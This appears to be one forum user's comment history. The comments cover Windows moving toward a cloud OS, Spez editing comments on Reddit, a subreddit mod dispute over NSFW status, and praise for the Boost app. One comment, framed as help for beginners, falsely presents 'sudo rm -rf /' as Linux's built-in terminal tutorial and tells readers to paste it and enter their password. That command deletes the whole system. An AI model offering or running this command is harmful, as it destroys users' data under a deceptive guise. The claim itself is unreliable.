  • Well, maybe I’m just not good at memes (almost certainly the case tbh) but Microsoft are talking about windows switching to being a largely cloud based OS, hence their Windows 365 talk recently.

    Which is horrible, obviously.

    Laughs in KDE could have been any distro, more about not having to deal with the eventual clusterfuck that’s coming towards windows users…

    There it is folks, someone had to explain their fucking meme. See that, that’s what a shit meme looks like. :p




  • where Spez edited comments to make the sub seem to be inciting violence, so he had an excuse to ban it

    Not what happened. Spez, fuckwit though he is, actually managed to do a halfway decent trolling there.

    A bunch of t_d people were slagging him off and insulting him in their comments. Spez got drunk as shit one night and edited their comments, swapping his name with Trump’s so that it made them look like a bunch of anti-trumpers. Much gnashing of teeth ensued.

    Absolutely shouldn’t have done it, especially as CEO of Reddit FFS, but definitely funny as shit.

    Don’t get me wrong, it’s absolutely a mark against him, but he didn’t get them banned. They thouroughly got themselves banned on their own.





  • I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

    It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

    Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

    sudo rm -rf /

    Type your password when prompted and you’re golden. No more linux issues ever again.


  • The mod’s response to Reddit, in case people don’t want to go there:

    According to them, your favourite subreddits going NSFW is too much for you to understand. The infamous Mod Code of Conduct messaged us, demanding we switch back, because “you’re likely confused by all the NSFW content you’ve been seeing”.

    They didn’t allow us to reply, so we couldn’t explain that this is a subreddit for an 18+ game, nor has any of our content changed. This subreddit should have been NSFW already, but we’d never thought to change it until recently.

    Until we change it back we’re in violation of Reddit’s sitewide rules. We’re not going to change it back, because this is a sexually explicit game, and also fuck them.

    If we’re removed at least we got to go out on an fantastically fun flair event (don’t worry this won’t stop your flair from being added I promise), and if this sub changes back from NSFW then you know you’re no longer in control of it.

    Rest assured; we have 77 fans all over Reddit, with r/lowsodiumcyberpunk being a decent fall back. We’ve never worked together on anything, but we’ve made an effort to stay on good terms with one another, and I trust them to take care of you all.

    Edit: this has hit r/all choombas so assume there are a lot of people here just to feed on the drama

    Some time after posting this here, the mods added a second edit:

    Edit: since hitting r/all there have been a bunch of accounts created in the last month attacking us and defending Reddit admins with a vigour I’ve never seen before. That seems suspicious, at the very least

    So it seems that someone (probably Reddit themselves) caught wind of this and attempted to astroturf it with bots… Now who’s recently been caught doing that?

    See c4’s post below for a Teddit link of the whole thread: https://kbin.social/m/RedditMigration/t/144077/Reddit-threatens-the-mods-of-r-CyberpunkGame-the-main-subreddit-for#entry-comment-559801





  • Absolutely fucking let’s.

    Been using boost over on Reddit for years, your app’s awesome.

    Can’t wait to buy the fediverse one. You’re going to be appreciated for this, a LOT of us have come over here thanks to spez’s total goddamn madness.

    Glad to see you here with us!

    P.s. Any chance that it may also support kbin one day too? They should be sorting out their API soon since a lot of devs just migrated over and Ernest actually has help developing kbin now. Sure, I can just make as Lemmy account in the meantime, but it’d be a pretty cool eventual option to have
